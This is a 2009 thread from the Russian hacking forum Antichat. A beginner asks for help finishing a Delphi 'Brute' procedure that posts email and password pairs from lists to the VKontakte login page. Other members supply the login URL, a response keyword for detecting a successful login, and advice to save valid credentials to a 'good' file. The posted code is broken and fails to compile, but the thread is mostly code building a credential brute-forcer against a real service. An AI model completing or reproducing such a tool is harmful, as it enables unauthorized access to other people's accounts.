Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   С/С++, C#, Delphi, .NET, Asm (https://forum.antichat.xyz/forumdisplay.php?f=24)
-   -   Авторизация в контакте[DELPHI] (https://forum.antichat.xyz/showthread.php?t=133818)

Ant1Player 09.08.2009 00:08

Авторизация в контакте[DELPHI]
 
Кому не трудно помогите начинающему програмисту :rolleyes: выложить тут исходник с этим кодом
P.S. Поступил на первый курс в техникум :D сайт не брошу ;)

PHP код:

procedure Brute();
var
  
emails:TStingList;  
  
pass:TStingList;   
  
post:TStingList;  
  
i,j:integer;         
begin
 email
:=TStringList.Createpass:=TStringList.Create;

  
http:=TidHTTP.Create(nil);      
  
http.HandleRedirects:=true;   
  
post:=tstringlist.Create;  
  for 
i:=0 to emails.Count-do begin  
    post
.Clear
    
post.Add('email='+emails.Strings[i]);  
    for 
j:=0 to pass.Count-do begin        
      post
.Add('pass='+pass.Strings[j]);     
      
result:=http.Post('/',post); 
      if 
pos('',result)>;0 then 
else
       
     
    
end;
  
end;
 
 
  
emails.Free;
  
pass.Free;
  
http.Free;
  
post.Free;
end

прост меня интересует код с then и else можно и на сокетах выложить...
P.S.S. не над ругаться типо тема уже была с авторизацией. меня интересует именно с then и else
(что делать если пасс пральны и что если не правильный)

ZdezBilYa 09.08.2009 00:37

не понятно.... а где вообще then? и что за запрос такой интересный со слешем?

аа... then нашел... ну прикольный код))

Jes 09.08.2009 00:44

Код:

  if pos('',result)>;0 then
else

hmm , а это что вообще такое ?

ZdezBilYa 09.08.2009 00:48

Цитата:

Сообщение от Jes
Код:

  if pos('',result)>;0 then
else

hmm , а это что вообще такое ?

видимо в этом и вопрос:
Цитата:

что делать если пасс пральны и что если не правильный
если пасс правильный - записывай в один файл, если нет - в другой

Ant1Player 09.08.2009 01:02

PHP код:

 procedure Brute(); 
var 
  
emails:TStingList;   
  
pass:TStingList;    
  
post:TStingList;   
  
i,j:integer;          
begin 
 email
:=TStringList.Createpass:=TStringList.Create

  
http:=TidHTTP.Create(nil);       
  
http.HandleRedirects:=true;    
  
post:=tstringlist.Create;   
  for 
i:=0 to emails.Count-do begin   
    post
.Clear;  
    
post.Add('email='+emails.Strings[i]);   
    for 
j:=0 to pass.Count-do begin         
      post
.Add('pass='+pass.Strings[j]);      
      
result:=http.Post('/',post);  
      if 
pos('',result)>;0 then  

///////
//тут будет код
///////

else 

///////
//и тут
//////
      
    
end
  
end
  
  
  
emails.Free
  
pass.Free
  
http.Free
  
post.Free
end

я вот хз как его дароботать шоб оно работало =))
странный код и я хз какие там компоненты нужны я грю новичек поетому и прошу обработать это в исходник... :rolleyes:

ZdezBilYa 09.08.2009 03:06

ничего себе "доработать"...
если решил авторизовываться в контакте, то надо знать параметры запроса и адрес.
Вместо адреса слеш стоит, а надо "http://vkontakte.ru/login.php".
После then записываешь пару "пароль;мыло" в файл "good", после else - в файл "bad". Например так.

Компоненты Indy нужны. Есть в программе?

Ant1Player 09.08.2009 10:08

Что не так? останавливаетсяя на result
PHP код:

unit Unit1;

interface

uses
  Windows
MessagesSysUtilsVariantsClassesGraphicsControlsForms,
  
DialogsStdCtrlsIdBaseComponentIdComponentIdTCPConnection,
  
IdTCPClientIdHTTP;

type
  TForm1 
= class(TForm)
    
IdHTTP1TIdHTTP;
    
Button1TButton;
    
procedure Button1Click(SenderTObject);
  private
    { Private 
declarations }
  public
    { Public 
declarations }
  
end;

var
  
Form1TForm1;

implementation

{$R *.dfm}

procedure TForm1.Button1Click(SenderTObject);
var
  
emails:TStringList;
  
pass:TStringList;
  
post:TStringList;

  
i,j:integer;
  
http:TidHTTP;
begin
 emails
:=TStringList.Create;
 
pass:=TStringList.Create;
 
emails.Add('****@mail.ru');
 
pass.Add('******');
  
http:=TidHTTP.Create(nil);
  
http.HandleRedirects:=true;
  
post:=tstringlist.Create;
  for 
i:=0 to emails.Count-do begin
    post
.Clear;
    
post.Add('email='+emails.Strings[i]);
    for 
j:=0 to pass.Count-do begin
      post
.Add('pass='+pass.Strings[j]);
      
result :=http.Post('http://vkontakte.ru/login.php',post);
      if 
pos('',result)>;0 then
      ShowMessage
('Не правильно ');

///////
//тут будет код
///////

else  
         
ShowMessage('правильно ');
/////// 
//и тут 
////// 
       
    
end;  
  
end;  
   
   
  
emails.Free;  
  
pass.Free;  
  
http.Free;  
  
post.Free;

end


ZdezBilYa 09.08.2009 10:51

Ошибка какая??
Возможно не хватает обязательных параметров. Посмотри снифером.
Возможно заголовки нужны

Ant1Player 09.08.2009 11:05

Build
[Error] Unit1.pas(49): Undeclared identifier: 'result'
[Error] Unit1.pas(50): Incompatible types
[Error] Unit1.pas(75): Statement expected but end of file found
[Fatal Error] Project2.dpr(5): Could not compile used unit 'Unit1.pas'

49 строка ето result :=http.Post('http://vkontakte.ru/login.php',post);

ZdezBilYa 09.08.2009 11:25

result не определен как string.
+ pos('logout',result) вот что должно быть в if (т.е. какое-то слово, которое присутствует на странице после входа)
+ походу end не хватает после post.free


Время: 20:41